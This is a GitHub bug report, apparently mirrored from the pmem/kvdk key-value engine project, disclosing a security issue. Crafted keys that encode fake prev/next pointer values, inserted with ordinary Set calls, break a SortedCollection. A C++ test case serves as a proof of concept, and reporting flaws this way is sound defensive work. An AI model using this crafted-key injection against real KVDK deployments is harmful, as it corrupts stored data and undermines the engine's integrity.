pmem / kvdk

Key Value Development Kit

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Security issue: User may use Set to inject vicious kv-pairs into engine to break SortedCollection.

ZiyanShi opened this issue · comments

Bug Report

KVDK version

1a84798

System configuration

2 * Intel(R) Xeon(R) Platinum 8269C CPU @ 2.50GHz
CPU: 2 * Intel(R) Xeon(R) Platinum 8269C CPU @ 2.50GHz
DDR: 12 * DDR4 16384 MB 2666 MT/s
PMEM: 4 * 129408 MB 2666 MT/s

Reproduce steps

Add following code to test.cpp. Build and run.

TEST_F(EngineBasicTest, SortedCollectionSecurityIssue1) {
  std::string const collection_name = "SortedCollection_01";
  configs.pmem_segment_blocks = 16;
  int num_threads = 1;
  configs.max_write_threads = num_threads;
  ASSERT_EQ(Engine::Open(db_path.c_str(), &engine, configs, stdout),
            Status::Ok);

  auto Check = [&]()
  {
    auto iter = engine->NewSortedIterator(collection_name);
    size_t cnt = 0;
    for (iter->SeekToLast(); iter->Valid(); iter->Prev())
      ++cnt;
    ASSERT_EQ(cnt, 2) 
      << "Two keys, aka \"c\" and \"d\" should be in the collection";
  };

  for (size_t i = 0; i < 10; i++)
  {
    std::uint64_t fake_prev = i;
    std::uint64_t fake_next = 13;
    std::string fake_key;
    fake_key.append(std::string_view{reinterpret_cast<char*>(&fake_prev), sizeof(decltype(fake_prev))});
    fake_key.append(std::string_view{reinterpret_cast<char*>(&fake_next), sizeof(decltype(fake_next))});
    engine->Set(fake_key, "Vicious entries!");
  }
  engine->SSet(collection_name, "a", "To be deleted.");
  engine->SSet(collection_name, "b", "To be deleted.");
  engine->SSet(collection_name, "c", "Always here.");
  engine->SSet(collection_name, "d", "Always here.");
  engine->SDelete(collection_name, "b");
  engine->SDelete(collection_name, "a");
  for (size_t i = 10; i < 11; i++)
  {
    std::uint64_t fake_prev = i;
    std::uint64_t fake_next = 13;
    std::string fake_key;
    fake_key.append(std::string_view{reinterpret_cast<char*>(&fake_prev), sizeof(decltype(fake_prev))});
    fake_key.append(std::string_view{reinterpret_cast<char*>(&fake_next), sizeof(decltype(fake_next))});
    engine->Set(fake_key, "Vicious entries!");
  }

  Check();

  delete engine;
  ASSERT_EQ(Engine::Open(db_path.c_str(), &engine, configs, stdout),
            Status::Ok);

  Check();
}

Expect behavior

Test case Success

Current behavior

Test case Fail

Notes

User may use this access pattern to break into internals of KVEngine.